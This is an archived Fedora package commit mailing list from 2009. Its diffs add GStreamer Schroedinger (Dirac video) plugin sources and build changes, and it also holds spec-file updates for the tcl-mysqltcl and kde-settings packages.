+ * Free Software Foundation, Inc., 59 Temple Place - Suite 330,
+ * Boston, MA 02111-1307, USA.
+ */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <gst/gst.h>
+#include <schroedinger/schro.h>
+
+GType gst_schro_enc_get_type (void);
+GType gst_schro_dec_get_type (void);
+GType gst_schro_parse_get_type (void);
+
+GST_DEBUG_CATEGORY (schro_debug);
+#define GST_CAT_DEFAULT schro_debug
+
+static gboolean
+plugin_init (GstPlugin * plugin)
+{
+  schro_init ();
+
+  GST_DEBUG_CATEGORY_INIT (schro_debug, "schro", 0, "Schroedinger");
+  gst_element_register (plugin, "schrodec", GST_RANK_PRIMARY,
+      gst_schro_dec_get_type ());
+  gst_element_register (plugin, "schroparse", GST_RANK_NONE,
+      gst_schro_parse_get_type ());
+  gst_element_register (plugin, "schroenc", GST_RANK_PRIMARY,
+      gst_schro_enc_get_type ());
+
+  return TRUE;
+}
+
+GST_PLUGIN_DEFINE (GST_VERSION_MAJOR,
+    GST_VERSION_MINOR,
+    "schro",
+    "Schroedinger plugin",
+    plugin_init, VERSION, "LGPL", GST_PACKAGE_NAME, GST_PACKAGE_ORIGIN)
diff -uNr schroedinger-1.0.8.orig/gst/gstschrodec.c schroedinger-1.0.8/gst/gstschrodec.c
--- schroedinger-1.0.8.orig/gst/gstschrodec.c	1970-01-01 01:00:00.000000000 +0100
+++ schroedinger-1.0.8/gst/gstschrodec.c	2009-10-12 12:23:39.000000000 +0200
@@ -0,0 +1,728 @@
+/* Schrodinger
+ * Copyright (C) 2006 David Schleef <ds at schleef.org>
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Library General Public
+ * License as published by the Free Software Foundation; either
+ * version 2 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Library General Public License for more details.
+ *
+ * You should have received a copy of the GNU Library General Public
+ * License along with this library; if not, write to the
+ * Free Software Foundation, Inc., 59 Temple Place - Suite 330,
+ * Boston, MA 02111-1307, USA.
+ */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <gst/gst.h>
+#include <gst/base/gstadapter.h>
+#include <gst/video/video.h>
+#include <gst/video/gstbasevideodecoder.h>
+#include <string.h>
+#include <schroedinger/schro.h>
+#include <math.h>
+#include "gstschroutils.h"
+
+#include <schroedinger/schroparse.h>
+
+GST_DEBUG_CATEGORY_EXTERN (schro_debug);
+#define GST_CAT_DEFAULT schro_debug
+
+#define GST_TYPE_SCHRO_DEC \
+  (gst_schro_dec_get_type())
+#define GST_SCHRO_DEC(obj) \
+  (G_TYPE_CHECK_INSTANCE_CAST((obj),GST_TYPE_SCHRO_DEC,GstSchroDec))
+#define GST_SCHRO_DEC_CLASS(klass) \
+  (G_TYPE_CHECK_CLASS_CAST((klass),GST_TYPE_SCHRO_DEC,GstSchroDecClass))
+#define GST_IS_SCHRO_DEC(obj) \
+  (G_TYPE_CHECK_INSTANCE_TYPE((obj),GST_TYPE_SCHRO_DEC))
+#define GST_IS_SCHRO_DEC_CLASS(obj) \
+  (G_TYPE_CHECK_CLASS_TYPE((klass),GST_TYPE_SCHRO_DEC))
+
+typedef struct _GstSchroDec GstSchroDec;
+typedef struct _GstSchroDecClass GstSchroDecClass;
+
+struct _GstSchroDec
+{
+  GstBaseVideoDecoder base_video_decoder;
+
+  SchroDecoder *decoder;
+
+  GstBuffer *seq_header_buffer;
+};
+
+struct _GstSchroDecClass
+{
+  GstBaseVideoDecoder base_video_decoder_class;
+};
+
+
+/* GstSchroDec signals and args */
+enum
+{
+  LAST_SIGNAL
+};
+
+enum
+{
+  ARG_0
+};
+
+static void gst_schro_dec_finalize (GObject * object);
+static void gst_schro_dec_set_property (GObject * object, guint prop_id,
+    const GValue * value, GParamSpec * pspec);
+static void gst_schro_dec_get_property (GObject * object, guint prop_id,
+    GValue * value, GParamSpec * pspec);
+
+static gboolean gst_schro_dec_sink_query (GstPad * pad, GstQuery * query);
+
+static gboolean gst_schro_dec_start (GstBaseVideoDecoder * dec);
+static gboolean gst_schro_dec_stop (GstBaseVideoDecoder * dec);
+static gboolean gst_schro_dec_reset (GstBaseVideoDecoder * dec);
+static GstFlowReturn gst_schro_dec_parse_data (GstBaseVideoDecoder *
+    base_video_decoder, gboolean at_eos);
+static int gst_schro_dec_scan_for_sync (GstBaseVideoDecoder *
+    base_video_decoder, gboolean at_eos, int offset, int n);
+static GstFlowReturn gst_schro_dec_handle_frame (GstBaseVideoDecoder * decoder,
+    GstVideoFrame * frame);
+static GstFlowReturn gst_schro_dec_finish (GstBaseVideoDecoder *
+    base_video_decoder, GstVideoFrame * frame);
+static void gst_schrodec_send_tags (GstSchroDec * schro_dec);
+
+static GstStaticPadTemplate gst_schro_dec_sink_template =
+GST_STATIC_PAD_TEMPLATE ("sink",
+    GST_PAD_SINK,
+    GST_PAD_ALWAYS,
+    GST_STATIC_CAPS ("video/x-dirac")
+    );
+
+static GstStaticPadTemplate gst_schro_dec_src_template =
+GST_STATIC_PAD_TEMPLATE ("src",
+    GST_PAD_SRC,
+    GST_PAD_ALWAYS,
+    GST_STATIC_CAPS (GST_VIDEO_CAPS_YUV ("{ I420, YUY2, AYUV }"))
+    );
+
+GST_BOILERPLATE (GstSchroDec, gst_schro_dec, GstBaseVideoDecoder,
+    GST_TYPE_BASE_VIDEO_DECODER);
+
+static void
+gst_schro_dec_base_init (gpointer g_class)
+{
+  static GstElementDetails compress_details =
+      GST_ELEMENT_DETAILS ("Dirac Decoder",
+      "Codec/Decoder/Video",
+      "Decode Dirac streams",
+      "David Schleef <ds at schleef.org>");
+  GstElementClass *element_class = GST_ELEMENT_CLASS (g_class);
+
+  gst_element_class_add_pad_template (element_class,
+      gst_static_pad_template_get (&gst_schro_dec_src_template));
+  gst_element_class_add_pad_template (element_class,
+      gst_static_pad_template_get (&gst_schro_dec_sink_template));
+
+  gst_element_class_set_details (element_class, &compress_details);
+}
+
+static void
+gst_schro_dec_class_init (GstSchroDecClass * klass)
+{
+  GObjectClass *gobject_class;
[...6105 lines suppressed...]
+    GstFormat src_format, gint64 src_value,
+    GstFormat * dest_format, gint64 * dest_value)
+{
+  gboolean res = FALSE;
+
+  if (src_format == *dest_format) {
+    *dest_value = src_value;
+    return TRUE;
+  }
+
+  GST_DEBUG ("src convert");
+
+#if 0
+  if (src_format == GST_FORMAT_DEFAULT && *dest_format == GST_FORMAT_TIME) {
+    if (dec->fps_d != 0) {
+      *dest_value = gst_util_uint64_scale (granulepos_to_frame (src_value),
+          dec->fps_d * GST_SECOND, dec->fps_n);
+      res = TRUE;
+    } else {
+      res = FALSE;
+    }
+  } else {
+    GST_WARNING ("unhandled conversion from %d to %d", src_format,
+        *dest_format);
+    res = FALSE;
+  }
+#endif
+
+  return res;
+}
+
+gboolean
+gst_base_video_state_from_caps (GstVideoState * state, GstCaps * caps)
+{
+
+  gst_video_format_parse_caps (caps, &state->format,
+      &state->width, &state->height);
+
+  if (!gst_video_parse_caps_framerate (caps, &state->fps_n, &state->fps_d))
+    return FALSE;
+
+  state->par_n = 1;
+  state->par_d = 1;
+  gst_video_parse_caps_pixel_aspect_ratio (caps, &state->par_n, &state->par_d);
+
+  {
+    GstStructure *structure = gst_caps_get_structure (caps, 0);
+    state->interlaced = FALSE;
+    gst_structure_get_boolean (structure, "interlaced", &state->interlaced);
+  }
+
+  state->clean_width = state->width;
+  state->clean_height = state->height;
+  state->clean_offset_left = 0;
+  state->clean_offset_top = 0;
+
+  /* FIXME need better error handling */
+  return TRUE;
+}
+
+GstClockTime
+gst_video_state_get_timestamp (const GstVideoState * state, int frame_number)
+{
+  if (frame_number < 0) {
+    return state->segment.start -
+        (gint64) gst_util_uint64_scale (-frame_number,
+        state->fps_d * GST_SECOND, state->fps_n);
+  } else {
+    return state->segment.start +
+        gst_util_uint64_scale (frame_number,
+        state->fps_d * GST_SECOND, state->fps_n);
+  }
+}
diff -uNr schroedinger-1.0.8.orig/gst-libs/gst/video/gstbasevideoutils.h schroedinger-1.0.8/gst-libs/gst/video/gstbasevideoutils.h
--- schroedinger-1.0.8.orig/gst-libs/gst/video/gstbasevideoutils.h	1970-01-01 01:00:00.000000000 +0100
+++ schroedinger-1.0.8/gst-libs/gst/video/gstbasevideoutils.h	2009-09-11 17:35:39.000000000 +0200
@@ -0,0 +1,95 @@
+/* GStreamer
+ * Copyright (C) 2008 David Schleef <ds at schleef.org>
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Library General Public
+ * License as published by the Free Software Foundation; either
+ * version 2 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Library General Public License for more details.
+ *
+ * You should have received a copy of the GNU Library General Public
+ * License along with this library; if not, write to the
+ * Free Software Foundation, Inc., 59 Temple Place - Suite 330,
+ * Boston, MA 02111-1307, USA.
+ */
+
+#ifndef _GST_BASE_VIDEO_UTILS_H_
+#define _GST_BASE_VIDEO_UTILS_H_
+
+#ifndef GST_USE_UNSTABLE_API
+#warning "The base video utils API is unstable and may change in future."
+#warning "You can define GST_USE_UNSTABLE_API to avoid this warning."
+#endif
+
+#include <gst/gst.h>
+#include <gst/video/video.h>
+#include <gst/base/gstadapter.h>
+
+G_BEGIN_DECLS
+
+typedef struct _GstVideoState GstVideoState;
+typedef struct _GstVideoFrame GstVideoFrame;
+
+struct _GstVideoState
+{
+  GstVideoFormat format;
+  int width, height;
+  int fps_n, fps_d;
+  int par_n, par_d;
+  gboolean interlaced;
+  gboolean top_field_first;
+
+  int clean_width, clean_height;
+  int clean_offset_left, clean_offset_top;
+
+  int bytes_per_picture;
+
+  GstSegment segment;
+
+  int picture_number;
+};
+
+struct _GstVideoFrame
+{
+  guint64 decode_timestamp;
+  guint64 presentation_timestamp;
+  guint64 presentation_duration;
+
+  gint system_frame_number;
+  gint decode_frame_number;
+  gint presentation_frame_number;
+
+  int distance_from_sync;
+  gboolean is_sync_point;
+  gboolean is_eos;
+
+  GstBuffer *sink_buffer;
+  GstBuffer *src_buffer;
+
+  int field_index;
+  int n_fields;
+
+  void *coder_hook;
+};
+
+gboolean gst_base_video_rawvideo_convert (GstVideoState *state,
+    GstFormat src_format, gint64 src_value,
+    GstFormat * dest_format, gint64 *dest_value);
+gboolean gst_base_video_encoded_video_convert (GstVideoState *state,
+    GstFormat src_format, gint64 src_value,
+    GstFormat * dest_format, gint64 *dest_value);
+
+gboolean gst_base_video_state_from_caps (GstVideoState *state,
+    GstCaps *caps);
+
+GstClockTime gst_video_state_get_timestamp (const GstVideoState *state,
+    int frame_number);
+
+G_END_DECLS
+
+#endif
+
diff -uNr schroedinger-1.0.8.orig/gst-libs/gst/video/Makefile.am schroedinger-1.0.8/gst-libs/gst/video/Makefile.am
--- schroedinger-1.0.8.orig/gst-libs/gst/video/Makefile.am	1970-01-01 01:00:00.000000000 +0100
+++ schroedinger-1.0.8/gst-libs/gst/video/Makefile.am	2009-09-11 17:35:39.000000000 +0200
@@ -0,0 +1,24 @@
+
+lib_LTLIBRARIES = libgstbasevideo- at GST_MAJORMINOR@.la
+
+CLEANFILES = $(BUILT_SOURCES)
+
+libgstbasevideo_ at GST_MAJORMINOR@_la_SOURCES = \
+	gstbasevideoutils.c \
+	gstbasevideocodec.c \
+	gstbasevideodecoder.c \
+	gstbasevideoencoder.c \
+	gstbasevideoparse.c
+
+libgstbasevideo_ at GST_MAJORMINOR@includedir = $(includedir)/gstreamer- at GST_MAJORMINOR@/gst/video
+libgstbasevideo_ at GST_MAJORMINOR@include_HEADERS = \
+	gstbasevideoutils.h \
+	gstbasevideocodec.h \
+	gstbasevideodecoder.h \
+	gstbasevideoencoder.h \
+	gstbasevideoparse.h
+
+libgstbasevideo_ at GST_MAJORMINOR@_la_CFLAGS = $(GST_PLUGINS_BASE_CFLAGS) $(GST_CFLAGS) -DGST_USE_UNSTABLE_API -I$(top_srcdir)/gst-libs
+libgstbasevideo_ at GST_MAJORMINOR@_la_LIBADD = $(GST_PLUGINS_BASE_LIBS) $(GST_BASE_LIBS) $(GST_LIBS) -lgstvideo- at GST_MAJORMINOR@
+libgstbasevideo_ at GST_MAJORMINOR@_la_LDFLAGS = $(GST_LIB_LDFLAGS) $(GST_ALL_LDFLAGS) $(GST_LT_LDFLAGS) -static
+

gst-plugins-schroedinger-plug.patch:
 Makefile.am  |    6 +++++-
 configure.ac |   43 +++++++++++++++++++++++++++++++++++++++++++
 2 files changed, 48 insertions(+), 1 deletion(-)

--- NEW FILE gst-plugins-schroedinger-plug.patch ---
--- schroedinger-1.0.8.orig/configure.ac	2009-09-29 07:23:37.000000000 +0200
+++ schroedinger-1.0.8/configure.ac	2009-04-23 05:20:57.000000000 +0200
@@ -150,6 +150,47 @@
 SCHRO_CFLAGS="$SCHRO_CFLAGS -I\$(top_srcdir)"
 AC_SUBST(SCHRO_CFLAGS)
 
+########################
+# GStreamer stuff
+########################
+
+GST_MAJORMINOR=0.10
+AC_SUBST(GST_MAJORMINOR)
+dnl *** check for arguments to configure ***
+
+if test "x$with_opengl" = xyes; then
+  GST_GL_DEP="gst-plugins-gl-0.10"
+fi
+
+AC_ARG_ENABLE(gstreamer, AC_HELP_STRING([--disable-gstreamer],
+              [disable gstreamer support (default=enabled)]))
+if test "x$enable_gstreamer" != xno
+then
+  PKG_CHECK_MODULES(GST, gstreamer-0.10 >= 0.10.19 gstreamer-base-0.10 >= 0.10.19 gstreamer-video-0.10 >= 0.10.19 ${GST_GL_DEP},
+      HAVE_GST=yes, HAVE_GST=no)
+else
+  HAVE_GST=no
+fi
+
+AM_CONDITIONAL(HAVE_GST, test "x$HAVE_GST" = "xyes")
+AC_SUBST(GST_CFLAGS)
+AC_SUBST(GST_LIBS)
+
+plugindir="\$(libdir)/gstreamer-$GST_MAJORMINOR"
+AC_SUBST(plugindir)
+
+GST_ALL_LDFLAGS="-no-undefined"
+AC_SUBST(GST_ALL_LDFLAGS)
+
+GST_PLUGIN_LDFLAGS="-module -avoid-version -export-symbols-regex '^[_]*gst_plugin_desc\$\$' $GST_ALL_LDFLAGS"
+AC_SUBST(GST_PLUGIN_LDFLAGS)
+
+AC_DEFINE(GST_PACKAGE_ORIGIN, "unknown", [Package origin in GStreamer plugin])
+
+AC_ARG_ENABLE(video-compat, AC_HELP_STRING([--disable-video-compat],
+    [disable gstvideo compatibility (default=enabled)]))
+AM_CONDITIONAL(ENABLE_VIDEO_COMPAT, test "x$enable_video_compat" != "xno")
+
 
 ########################
 # Check for CUDA
@@ -238,6 +279,8 @@
 schroedinger/Makefile
 schroedinger/cuda/Makefile
 schroedinger/opengl/Makefile
+gst-libs/gst/video/Makefile
+gst/Makefile
 testsuite/Makefile
 testsuite/cache/Makefile
 testsuite/cuda/Makefile
--- schroedinger-1.0.8.orig/Makefile.am	2009-09-29 07:08:51.000000000 +0200
+++ schroedinger-1.0.8/Makefile.am	2009-04-22 04:35:57.000000000 +0200
@@ -4,7 +4,11 @@
 
 DISTCHECK_CONFIGURE_FLAGS=--enable-gtk-doc
 
-DIST_SUBDIRS = schroedinger doc tools testsuite
+if HAVE_GST
+SUBDIRS += gst-libs/gst/video gst
+endif
+
+DIST_SUBDIRS = schroedinger doc tools gst testsuite gst-libs/gst/video
 
 EXTRA_DIST = COPYING COPYING.GPL COPYING.LGPL COPYING.MIT COPYING.MPL \
 	     autogen.sh schroedinger.spec TODO NEWS


--- NEW FILE import.log ---
schroedinger-1_0_8-3_fc11:HEAD:schroedinger-1.0.8-3.fc11.src.rpm:1256685452


Index: schroedinger.spec
===================================================================
RCS file: /cvs/pkgs/rpms/schroedinger/devel/schroedinger.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- schroedinger.spec	20 Oct 2009 23:31:14 -0000	1.17
+++ schroedinger.spec	27 Oct 2009 23:24:10 -0000	1.18
@@ -2,7 +2,7 @@
 
 Name:           schroedinger
 Version:        1.0.8
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        Portable libraries for the high quality Dirac video codec
 
 Group:          System Environment/Libraries
@@ -10,17 +10,17 @@ Group:          System Environment/Libra
 License:        GPL+ or LGPLv2+ or MIT or MPLv1.1
 URL:            http://www.diracvideo.org/
 Source0:	http://www.diracvideo.org/download/schroedinger/schroedinger-%{version}.tar.gz
+Patch0:         gst-plugins-schroedinger-1.0.8.patch
+Patch1:         gst-plugins-schroedinger-plug.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
+BuildRequires:  libtool
+BuildRequires:  glew-devel
 BuildRequires:  liboil-devel >= 0.3.16
-BuildRequires:  glew-devel >= 1.5.1
 BuildRequires:  gstreamer-devel >= 0.10
 BuildRequires:  gstreamer-plugins-base-devel >= 0.10
 BuildRequires:  gtk-doc
 
-#Moved to -bad - need to be investigated.
-Obsoletes:  gstreamer-plugins-schroedinger < %{version}
-
 %description
 The Schr?dinger project will implement portable libraries for the high
 quality Dirac video codec created by BBC Research and
@@ -41,12 +41,31 @@ Requires:	liboil-devel >= 0.3.16
 %description devel
 Development files for schroedinger
 
+%package -n gstreamer-plugins-schroedinger
+Group:          Applications/Multimedia
+Summary:        GStreamer Plugins that implement Dirac video encoding and decoding
+
+%description -n gstreamer-plugins-schroedinger
+GStreamer Plugins that implement Dirac video encoding and decoding
 
 %prep
 %setup -q
+%patch0 -p1
+%patch1 -p1 -b .plug
+
+autoreconf -vif
+
 
 %build
 %configure --disable-static --enable-gtk-doc
+
+# hack to define the package name
+echo "#define GST_PACKAGE_NAME \"gst-plugins-schroedinger fedora rpm\"" >> config.h
+
+# remove rpath from libtool
+sed -i.rpath 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
+sed -i.rpath 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
+
 make %{?_smp_mflags}
 
 %install
@@ -73,8 +92,16 @@ rm -rf %{buildroot}
 %{_libdir}/*.so
 %{_libdir}/pkgconfig/schroedinger-%{abi}.pc
 
+%files -n gstreamer-plugins-schroedinger
+%defattr(-,root,root,-)
+%{_libdir}/gstreamer-0.10/libgstschro.so
+%exclude %{_libdir}/libgstbasevideo-0.10.a
+%exclude %{_includedir}/gstreamer-0.10
 
 %changelog
+* Sun Oct 25 2009 kwizart < kwizart at gmail.com > - 1.0.8-3
+- Re-introduce gstreamer sub-package until seen in -good
+
 * Tue Oct 20 2009 kwizart < kwizart at gmail.com > - 1.0.8-2
 - Update to 1.0.8
 - gstreamer-plugins-schroedinger is now in bad.



From kwizart at fedoraproject.org  Tue Oct 27 23:26:51 2009
From: kwizart at fedoraproject.org (Nicolas Chauvet)
Date: Tue, 27 Oct 2009 23:26:51 +0000 (UTC)
Subject: rpms/schroedinger/devel import.log,1.1,1.2
Message-ID: <20091027232651.A007F11C00E6@cvs1.fedora.phx.redhat.com>

Author: kwizart

Update of /cvs/pkgs/rpms/schroedinger/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31808/devel

Modified Files:
	import.log 
Log Message:
- Re-introduce gstreamer sub-package until seen in -good



Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/schroedinger/devel/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	27 Oct 2009 23:24:09 -0000	1.1
+++ import.log	27 Oct 2009 23:26:51 -0000	1.2
@@ -1 +1,2 @@
 schroedinger-1_0_8-3_fc11:HEAD:schroedinger-1.0.8-3.fc11.src.rpm:1256685452
+schroedinger-1_0_8-3_fc11:HEAD:schroedinger-1.0.8-3.fc11.src.rpm:1256685961



From renep at fedoraproject.org  Tue Oct 27 23:29:26 2009
From: renep at fedoraproject.org (Rene Ploetz)
Date: Tue, 27 Oct 2009 23:29:26 +0000 (UTC)
Subject: rpms/tcl-mysqltcl/F-11 import.log, 1.2, 1.3 tcl-mysqltcl.spec, 1.2,
	1.3
Message-ID: <20091027232927.0C86E11C00E6@cvs1.fedora.phx.redhat.com>

Author: renep

Update of /cvs/pkgs/rpms/tcl-mysqltcl/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv759/F-11

Modified Files:
	import.log tcl-mysqltcl.spec 
Log Message:
split EL-4 and EL-5 spec files versions from Fedora versions


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/tcl-mysqltcl/F-11/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	8 Oct 2009 20:58:05 -0000	1.2
+++ import.log	27 Oct 2009 23:29:26 -0000	1.3
@@ -1,2 +1,3 @@
 tcl-mysqltcl-3_05-4_fc11:F-11:tcl-mysqltcl-3.05-4.fc11.src.rpm:1254862374
 tcl-mysqltcl-3_05-6_fc11:F-11:tcl-mysqltcl-3.05-6.fc11.src.rpm:1255035420
+tcl-mysqltcl-3_05-8_fc11:F-11:tcl-mysqltcl-3.05-8.fc11.src.rpm:1256686128


Index: tcl-mysqltcl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tcl-mysqltcl/F-11/tcl-mysqltcl.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- tcl-mysqltcl.spec	8 Oct 2009 20:58:05 -0000	1.2
+++ tcl-mysqltcl.spec	27 Oct 2009 23:29:26 -0000	1.3
@@ -1,13 +1,3 @@
-#needed for building on RHEL-4
-%if 0%{?rhel}
-  %if "%rhel" <= "4"
-    %define with() %{expand:%%{?with_%{1}:1}%%{!?with_%{1}:0}}
-    %define without() %{expand:%%{?with_%{1}:0}%%{!?with_%{1}:1}}
-    %define bcond_with() %{expand:%%{?_with_%{1}:%%global with_%{1} 1}}
-    %define bcond_without() %{expand:%%{!?_without_%{1}:%%global with_%{1} 1}} 
-  %endif
-%endif 
-
 %bcond_without abi
 
 %{!?tcl_version: %define tcl_version 8.5}
@@ -18,7 +8,7 @@
 Summary:        MySQL interface for Tcl
 Name:           tcl-mysqltcl
 Version:        3.05
-Release:        6%{?dist}
+Release:        8%{?dist}
 
 License:        MIT
 Group:          Development/Tools
@@ -71,6 +61,12 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Wed Oct 28 2009 Rene Ploetz <RenePloetz at gmx.de> 3.05-8
+- split spec file versions for EL-4 and EL-5 from those of Fedora
+
+* Wed Oct 27 2009 Rene Ploetz <RenePloetz at gmx.de> 3.05-7
+- fix tcl version on EL-4 and EL-5
+
 * Wed Oct 08 2009 Rene Ploetz <RenePloetz at gmx.de> 3.05-6
 - synchronize the spec file version for all branches
 



From rdieter at fedoraproject.org  Tue Oct 27 23:33:30 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Tue, 27 Oct 2009 23:33:30 +0000 (UTC)
Subject: rpms/kde-settings/devel .cvsignore, 1.66, 1.67 kde-settings.spec,
	1.93, 1.94 sources, 1.68, 1.69
Message-ID: <20091027233330.C5F4711C00E6@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kde-settings/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2400/devel

Modified Files:
	.cvsignore kde-settings.spec sources 
Log Message:
* Tue Oct 27 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3-12
- plasma-desktop-appletsrc: Constantine wallpaper
- drop /etc/kde/kdm/Xservers (#530660)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kde-settings/devel/.cvsignore,v
retrieving revision 1.66
retrieving revision 1.67
diff -u -p -r1.66 -r1.67
--- .cvsignore	23 Sep 2009 22:45:16 -0000	1.66
+++ .cvsignore	27 Oct 2009 23:33:30 -0000	1.67
@@ -1 +1 @@
-kde-settings-4.3-10.tar.bz2
+kde-settings-4.3-12.tar.bz2


Index: kde-settings.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kde-settings/devel/kde-settings.spec,v
retrieving revision 1.93
retrieving revision 1.94
diff -u -p -r1.93 -r1.94
--- kde-settings.spec	24 Sep 2009 14:03:00 -0000	1.93
+++ kde-settings.spec	27 Oct 2009 23:33:30 -0000	1.94
@@ -1,11 +1,11 @@
 # THIS SPECFILE IS FOR F12 ONLY!
 
-%define rel 10
+%define rel 12
 
 Summary: Config files for kde
 Name:    kde-settings
 Version: 4.3
-Release: %{rel}.1
+Release: %{rel}
 
 Group:   System Environment/Base
 License: Public Domain
@@ -153,7 +153,6 @@ touch --no-create %{_datadir}/kde-settin
 %{_sysconfdir}/kde/kdm/Xresources
 %{_sysconfdir}/kde/kdm/Xsession
 %{_sysconfdir}/kde/kdm/Xwilling
-%{_sysconfdir}/kde/kdm/Xservers
 %{_sysconfdir}/kde/kdm/Xsetup
 # hack needed for older rpm's
 #exclude %{_sysconfdir}/X11/xdm/X*
@@ -165,6 +164,10 @@ touch --no-create %{_datadir}/kde-settin
 
 
 %changelog
+* Tue Oct 27 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3-12
+- plasma-desktop-appletsrc: Constantine wallpaper
+- drop /etc/kde/kdm/Xservers (#530660)
+
 * Thu Sep 24 2009 Than Ngo <than at redhat.com> - 4.3-10.1
 - rhel cleanup
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kde-settings/devel/sources,v
retrieving revision 1.68
retrieving revision 1.69
diff -u -p -r1.68 -r1.69
--- sources	23 Sep 2009 22:45:17 -0000	1.68
+++ sources	27 Oct 2009 23:33:30 -0000	1.69
@@ -1 +1 @@
-3bb6fe4ca1c41a0944a3d743094afd8f  kde-settings-4.3-10.tar.bz2
+6a7e966d2367c7942d9640d01dc88f20  kde-settings-4.3-12.tar.bz2



From rdieter at fedoraproject.org  Tue Oct 27 23:33:31 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Tue, 27 Oct 2009 23:33:31 +0000 (UTC)
Subject: rpms/kde-settings/F-12 .cvsignore, 1.66, 1.67 kde-settings.spec,
	1.93, 1.94 sources, 1.68, 1.69
Message-ID: <20091027233331.2F78B11C00E6@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kde-settings/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2400/F-12

Modified Files:
	.cvsignore kde-settings.spec sources 
Log Message:
* Tue Oct 27 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3-12
- plasma-desktop-appletsrc: Constantine wallpaper
- drop /etc/kde/kdm/Xservers (#530660)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kde-settings/F-12/.cvsignore,v
retrieving revision 1.66
retrieving revision 1.67
diff -u -p -r1.66 -r1.67
--- .cvsignore	23 Sep 2009 22:45:16 -0000	1.66
+++ .cvsignore	27 Oct 2009 23:33:30 -0000	1.67
@@ -1 +1 @@
-kde-settings-4.3-10.tar.bz2
+kde-settings-4.3-12.tar.bz2


Index: kde-settings.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kde-settings/F-12/kde-settings.spec,v
retrieving revision 1.93
retrieving revision 1.94
diff -u -p -r1.93 -r1.94
--- kde-settings.spec	24 Sep 2009 14:03:00 -0000	1.93
+++ kde-settings.spec	27 Oct 2009 23:33:30 -0000	1.94
@@ -1,11 +1,11 @@
 # THIS SPECFILE IS FOR F12 ONLY!
 
-%define rel 10
+%define rel 12
 
 Summary: Config files for kde
 Name:    kde-settings
 Version: 4.3
-Release: %{rel}.1
+Release: %{rel}
 
 Group:   System Environment/Base
 License: Public Domain
@@ -153,7 +153,6 @@ touch --no-create %{_datadir}/kde-settin
 %{_sysconfdir}/kde/kdm/Xresources
 %{_sysconfdir}/kde/kdm/Xsession
 %{_sysconfdir}/kde/kdm/Xwilling
-%{_sysconfdir}/kde/kdm/Xservers
 %{_sysconfdir}/kde/kdm/Xsetup
 # hack needed for older rpm's
 #exclude %{_sysconfdir}/X11/xdm/X*
@@ -165,6 +164,10 @@ touch --no-create %{_datadir}/kde-settin
 
 
 %changelog
+* Tue Oct 27 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3-12
+- plasma-desktop-appletsrc: Constantine wallpaper
+- drop /etc/kde/kdm/Xservers (#530660)
+
 * Thu Sep 24 2009 Than Ngo <than at redhat.com> - 4.3-10.1
 - rhel cleanup
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kde-settings/F-12/sources,v
retrieving revision 1.68
retrieving revision 1.69
diff -u -p -r1.68 -r1.69
--- sources	23 Sep 2009 22:45:17 -0000	1.68
+++ sources	27 Oct 2009 23:33:30 -0000	1.69
@@ -1 +1 @@
-3bb6fe4ca1c41a0944a3d743094afd8f  kde-settings-4.3-10.tar.bz2
+6a7e966d2367c7942d9640d01dc88f20  kde-settings-4.3-12.tar.bz2



From renep at fedoraproject.org  Tue Oct 27 23:34:59 2009
From: renep at fedoraproject.org (Rene Ploetz)
Date: Tue, 27 Oct 2009 23:34:59 +0000 (UTC)
Subject: rpms/tcl-mysqltcl/F-12 import.log, 1.2, 1.3 tcl-mysqltcl.spec, 1.2,
	1.3
Message-ID: <20091027233459.60BDA11C00E6@cvs1.fedora.phx.redhat.com>

Author: renep

Update of /cvs/pkgs/rpms/tcl-mysqltcl/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2752/F-12

Modified Files:
	import.log tcl-mysqltcl.spec 
Log Message:
split EL-4 and EL-5 spec files versions from Fedora versions


Index: import.log
===================================================================
